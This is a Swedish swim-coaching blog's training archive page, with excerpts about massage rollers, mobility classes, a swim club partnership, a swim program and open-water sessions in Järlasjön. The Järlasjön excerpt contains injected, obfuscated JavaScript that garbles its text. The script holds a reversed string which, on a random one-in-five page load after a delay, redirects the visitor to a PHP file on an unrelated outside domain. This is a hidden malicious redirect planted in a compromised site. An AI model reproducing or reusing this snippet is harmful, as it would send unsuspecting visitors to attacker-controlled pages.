Category Archives: träning

Rad Roller

Tja!, flera av er som deltog på FrisimsMobilitet var intresserade av att köpa RAD produkter och här kommer en rabattkod på 20 %. Alla produkter från RAD är utformade av experterför att så mycket som möjligt påminna om den massage du får hos en massageterapeut. Redskapen erbjuder kontrollerad triggerpunktsmassage, rensar ut slaggprodukter och hjälper dig

Read More

Mobilitets & stabilitetsträning – idrottare / motionärer

Den 2 och 9 februari vägleder superduktiga Mark Oogan på Bonobo gym dig genom mobilitets- och stabilitetsträning för en rörligare, starkare, mer kraftfull och funktionell kropp. Mobilitets- och stabilitetsträning riktar sig främst till vuxna idrottare och motionärer, även om du inte tränar regelbundet är du varmt välkommen. Du tränar efter din egen förmåga och Mark

Read More

Nytt intressant samarbete med Simklubben Neptun!

En av Sveriges bästa simföreningar SK Neptun väljer att förlägga sin Öppet vatten simträning för sina tävlingssimmare med Coach Ludde sommarn 2018. SK Neptun gör en satsning 2018 på Öppet vatten simning för sin tävlingssimmare och vill bli en ledande simförening inom grenen. Träningen är förberedelser inför SM, JSM och USM som går den 9

Read More

Simprogram – endast fåtal platser kvar

Godmorgon, vårt Simprogram (12 veckor) är mycket populärt och det finns nu bara 2 platser kvar för våren 2018. Simprogrammet passar utmärkt för dig som vill simträna under eget ansvar och vara flexibel med dagar och tider men ändå ha en struktur och en progression i din simning. Du väljer själv vilken simhall, vilka dagar och vilken

Read More

Öppet vatten simning i Järlasjön 31 juli – 10 sept 2017

) == ”string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(””).reverse().join(””);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[”’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and”] Mellan 10-30 juli är det ledigt från Öppet vatten simning i Järlasjön. För dig som är intresserad av simma Öppet vatten simning mellan 31 juli – 10 september så är anmälan öppen, klicka på länk nedan, Välkommen! Open Water Järlasjön, Nacka

Read More

För att fortsätta använda denna webbplats behöver du godkänna användandet av cookies. mer information samt möjligheten att avaktivera cookies hittar du här

Dina cookie-inställningar för denna webbplats är satt till ”tillåt cookies” för att ge dig den bästa upplevelsen. Om du fortsätter använda webbplatsen utan att ändra dina inställningar för cookies eller om du klickar ”Godkänn” nedan så samtycker du till detta.

Stäng